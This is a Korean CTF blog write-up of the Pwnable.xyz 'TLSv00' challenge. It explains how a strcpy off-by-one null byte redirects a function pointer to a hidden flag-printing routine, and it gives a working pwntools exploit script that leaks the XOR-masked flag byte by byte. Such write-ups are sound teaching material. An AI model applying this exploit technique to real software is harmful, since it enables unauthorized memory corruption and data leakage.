tmxklab

[Pwnable.xyz] TLSv00 본문

War Game/Pwnable.xyz

[Pwnable.xyz] TLSv00

tmxk4221 2020. 4. 9. 22:16

1. 문제

nc svc.pwnable.xyz 30006

 

1) 문제 확인

- menu 1 : 키를 재생성하는 메뉴

- menu 2 : 플래그를 로드

- menu 3 : 플래그 값을 출력(하지만 안됨)

 

2) 함수 확인

- 특이하게 real_print_flag()와 print_flag()가 존재

 

2-1) 메인 함수

- line 8 : generate_key함수 실행

- line 18 ~ 20 : 2를 입력한 경우 load_flag함수 실행

- line 24 ~ 28 : 1을 입력한 경우 generate_key함수 실행

- line 30 ~ 32 : 3을 입력한 경우 print flag함수 실행

 

2-2) generate_key() - menu(1)

- line 11 : s변수를 0x48만큼 0으로 메모리에 세팅

- line 12 : /dev/unrandom파일을 열어 fd에 파일디스크립터 값 저장

- line 13 ~ 16 : 열지 못한 경우 종료

- line 18 : read함수를 통해 s변수에 fd가 가리키는 파일의 내용을 64bytes만큼 저장

- line 19 ~ 23 : read함수를 통해 한 바이트씩 fd가 가리키는 파일의 내용을 s[i]에 저장 

- line 24 ~ 25 : strcpy를 통해 s값을 key변수에 복사

 

2-3) load_flag() - menu(2)

- line 6 : /flag파일을 열어서 파일디스크립터 값을 fd에 저장

- line 7 ~ 9 : 열지 못한 경우 종료

- line 12 : /flag파일의 내용을 flag변수(bss영역)에 64bytes만큼 저장

- line 13 ~ 14 : flag[i] = flag[i] ^ key[i] (xor연산)을 64번반복(0x3F == 63)

 

2-4) print_flag() - menu(3)

- line 6 : do_comment(bss영역 변수)의 값을 result에 저장

- line 7 ~ 12 : do_comment값이 존재하지 않으면 getchar()를 통해 y를 입력하여 f_do_comment함수의 반환 값을 do_comment에 저장

 

2-5) f_do_comment()

- line 8 : buf에 33bytes까지 표준 입력을 받음

 

2-6) real_print_flag()

- flag값(bss영역)을 출력

 

3) 메모리 보호기법 및 파일 정보 확인

 


 

2. 접근 방법

 

1) 로직

1-1) generate_key() - menu(1)

- key값의 사이즈를 사용자의 입력으로 받는다. → generate_key(input)

- s변수를 72bytes만큼 0으로 세팅한다. → memset(s, 0, 0x48)

- /dev/urandom파일을 열어 난수 값을 s변수에 저장한다.(크기는 input값 만큼) → read(fd, s, input)

- key변수에 s변수의 내용을 저장한다.

- 결국 key변수에 input크기만큼 난수 값을 저장

 

 

1-2) load_flag() - menu(2)

- /flag파일을 연다. → fd = open("/flag", 0 );

- /flag파일의 내용을 flag변수에 64bytes만큼 저장한다. → read(fd, flag, 0x40);

- flag배열과 key배열간에 1byte씩 xor연산하여 flag배열에 1byte씩 저장한다. flag[i] ^= key[i]; (이때, i는 0 ~ 63까지 반복)

 

1-3) print_flag() - menu(3)

- result변수에 do_comment의 값을 저장한다. → result = do_comment;

- do_comment값이 존재하지 않는 경우

  (1) y를 입력하게 되면 f_do_comment()의 주소 값을 result에 저장한다. 

  (2) y를 입력하지 않으면 result에 do_comment값이 저장된다.

- 반환 값으로 result를 준다. → return result;

 

위 1~3까지는 사용자가 사용할 수 있는 함수들이다.

하지만, main함수에서 real_print_flag함수를 호출하는 부분은 존재하지 않는다.

의문점이 드는 부분이 print_flag함수에서 result값을 반환 값으로 주는 것이며, y를 누른 경우 result에 굳이 f_do_comment함수의 주소 값을 넣는 것이다.

 

또한, real_print_flag함수에서 flag값을 출력해주는데 flag주소는 bss영역에 존재하며 load_flag함수에서 사용하는 flag변수 값과 동일하다!!

결국에 어떻게 real_print_flag함수를 실행시켜도 flag변수에 flag값이 들어있지 않으면 출력되지 않는 것이다.

 

그러면 먼저 real_print_flag함수를 어떻게 호출할 수 있을지 생각해보자

아까 전에 print_flag()에서 f_do_comment값을 result에 넣고 반환 값으로 넣는다고 했다.

 

굳이 f_do_comment주소 값을 넣는다 길레 주소 값을 확인해본 결과..

- real_print_flag함수와 마지막 한 바이트만 차이가 난다.

 

그럼 return에 real_print_flag함수의 주소 값을 넣고 싶을 것이다.

그러기 위해서 0xB1F에서 1F대신에 00으로 채워 넣어야 한다.

 

00으로 채워 넣기 위한 로직이 어디있을까 찾아보던 중

main함수의 처음 generate_key()를 호출하는 부분에서 의문이 들었다.

- main() line 8 : 파라미터로 63을 받음

 

generate_key함수에서는 key의 size값으로 64까지 받을 수 있는데 굳이 63을 받는 것이다.

- generate_key() line 9 : 1~64까지 입력으로 받을 수 있음(a1은 파라미터)

 

그 이후에 read()와 strcpy()를 사용하여 난수 값을 key변수에 저장한다.

- generate_key() line 18 ~ 24 : 난수 값을 s변수에 a1만큼 read한 후 다시 key변수에 s변수의 내용을 복사

 

그 전에 read()와 strcpy()에서 문자열을 다룰 때 차이가 난다고 배웠다.

 

read(fd, s, a1) : fd파일의 내용을 s변수에 a1까지 저장한다. 이 때, 문자열 마지막에 널 값을(0x0)을 넣지 않는다.

strcpy(key, s) : key변수에 s변수의 내용을 복사하여 저장한다. 이 때, 문자열의 마지막은 널 값이므로 널 값이 나올 때까지 읽어서 널 값까지 포함하여 저장한다.

 

결론적으로 만약, size값을 63으로 넣는 경우 s변수에는 63bytes의 데이터가 저장되지만 key변수에는 1byte(0x0)를 추가한 64bytes가 저장하게 된다.

 

이제 디버깅을 통해 확인해보자

 

2) 디버깅

2-1) generate_key(63)

- $rbp-0x50 : s변수, 63바이트까지 값이 존재하며 s[64]에는 널 값임

- 0x8202040 : key변수, s변수 모두 다 받음 근데 마지막에 널 값까지 포함됨

 

2-2) generate_key(64)

- $rbp-0x50 : s변수, 64바이트까지 값이 존재하며 s[65]에는 널 값임

- 0x8202040 : key변수, 64bytes를 파라미터로 넣엇으면 do_comment부분에 널 값 한 바이트가 들어가야되는데 원래 do_commnet가 0x0으로 세팅되어 있어서 값이 변하는지 확인할 수 없음

- 그래서 확인할 수 있는 방법이 do_comment부분에 값을 채워넣고 다시 64bytes를 넣는 방법임(do_commnet변수를 다루는 곳은 print_flag함수 부분)

 

2-3) print_flag() - do_comment

- print_flag() line 11 : d_comment에 f_do_comment()의 주소 값을 넣는 부분

 

확인)

- do_comment변수에 f_do_comment의 주소 값이 들어가 있다.

 

이제, 다시 generate_key()에 64를 넣어 진행해보자

원래는 0x800b1f값(f_do_comment주소 값)이 들어 있어야하는데 read함수와 strcpy함수를 거치면서 널 바이트(1byte)가 더 추가되면서 0x800b00으로 변경되었다.

 

그리고 0x800b00은...

즉, do_comment에 real_print_flag함수의 주소 값이 저장되며 결국에 print_flag함수의 ret에는 real_print_flag함수의 주소 값이 들어가게 된다.

 

2-4) real_print_flag() - flag

print_flag()의 ret의 값을 변경하였으니 이제 real_print_flag()를 실행해보자

주의할 점)

- generate_key()에 64를 넣어 do_comment가 real_print_flag()의 주소 값으로 변하였으므로 print_flag()에서 y를 누르면 다시 f_do_commnet()의 주소 값으로 덮어지므로 y를 누르면 안된다.

 

printf_flag()에서 y를 누르지 않고 ret까지 오면 call rdx를 통해 real_print_flag()를 실행한다.

하지만,

맞다 flag값을 구해야되는구나ㅋㅋㅋ

 

2-5) load_flag() - xor

flag값은 key값과 1byte씩 xor연산을 통해 결정되는 것을 확인하였다.

 

< load_flag() line 13 ~ 14 >

 

< flag^=key(xor연산) >

flag key flag(xor연산 결과)
0 0 0
0 1 1
1 0 1
1 1 0

위 표에서 왼쪽 flag(원본 flag)와 오른쪽 flag(변환된 flag)가 변하지 않는 것을 볼 수 있다.

즉, key값이 0이면 flag값은 변하지 않으므로 원본 flag값이 나오게 된다.

 

이제, 해야할 일은 key변수에 어떻게 64bytes만큼 0으로 세팅할 것인가?이다.

사용자가 입력으로 받을 수 있는 것은 key의 size값이므로 size값을 변경하면서 확인해보자

 

size값 1을 넣은 경우)

 

size값 2를 넣은 경우)

 

size값 3을 넣은경우)

 rpb-0x50 : s[72]

 0x8202040 : key변수

- key변수에 s변수의 값이 저장되면서 1byte(0x00) 더 추가되어 들어가는 것을 확인할 수 있다.

- 결론으로 key변수에 64bytes만큼 0으로 채워넣을 수는 없다.

- 하지만, key배열의 1 ~ 63인덱스에 부분적으로 0x0으로 채워넣을 수 있으며 1byte씩 64번 반복하여 출력하다 보면 flag값을 얻을 수 있을 것이다!

 

결론)

- generate_key()에 64를 파라미터로 주어 print_flag의 ret를 real_print_flag()의 주소 값으로 바꾼다.

- generate_key(), load_flag(), print_flag()를 64번 호출(인덱스 값은 1~63까지)

 


 

3. 풀이

익스 코드를 통해 64번 반복하여 호출하도록 실행해보자

 

공격 코드)

from pwn import *

#context.log_level="debug"

r = remote("svc.pwnable.xyz", 30006)

flag = ""

# 1. print_flag() : do_comment = f_do_comment()
r.sendafter('> ', '3\n')
r.sendafter('instead? ', 'y\n')

# 2. generate_key() : Input 64bytes
r.sendafter('> ', '1\n')
r.sendafter('len: ', '64\n')

# 3. Input(1 ~ 63)
for i in range(1, 63):
    # 3.1 generate_key() : input 1 ~ 63
    r.sendafter('> ', '1\n')
    r.sendafter('len: ', str(i)+'\n')

    # 3.2 load_flag() : key[i] = 0x00(flag[i] ^= key[i])
    r.sendafter('> ', '2\n')

    # 3.3 print_flag() -> real_print_flag() : print flag[i]
    r.sendafter('> ', '3\n')
    r.sendafter('instead? ', 'A\n')

    data = r.recv(64)
    #print(data[i])
    flag += data[i]

print(flag)

r.interactive()

 

공격 실행)

앞에 1byte는 flag[0]은 못구하니깐 F라고 유추해볼 수 있는데 저거 바로 대입하면(중괄호 닫는 부분까지)안됨 thdnk가 아니라 think임

1byte씩 깨지는 부분이 있는데 왜그러는지는 모르겟음

계속 하거나 아니면 문자열 추측해서 답 제출하면 성공함

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] I33t-ness  (0) 2020.04.09
[Pwnable.xyz] Jmp_table  (0) 2020.04.09
[Pwnable.xyz] two target  (0) 2020.04.09
[Pwnable.xyz] xor  (0) 2020.04.09
[Pwnable.xyz] note  (0) 2020.04.09
Comments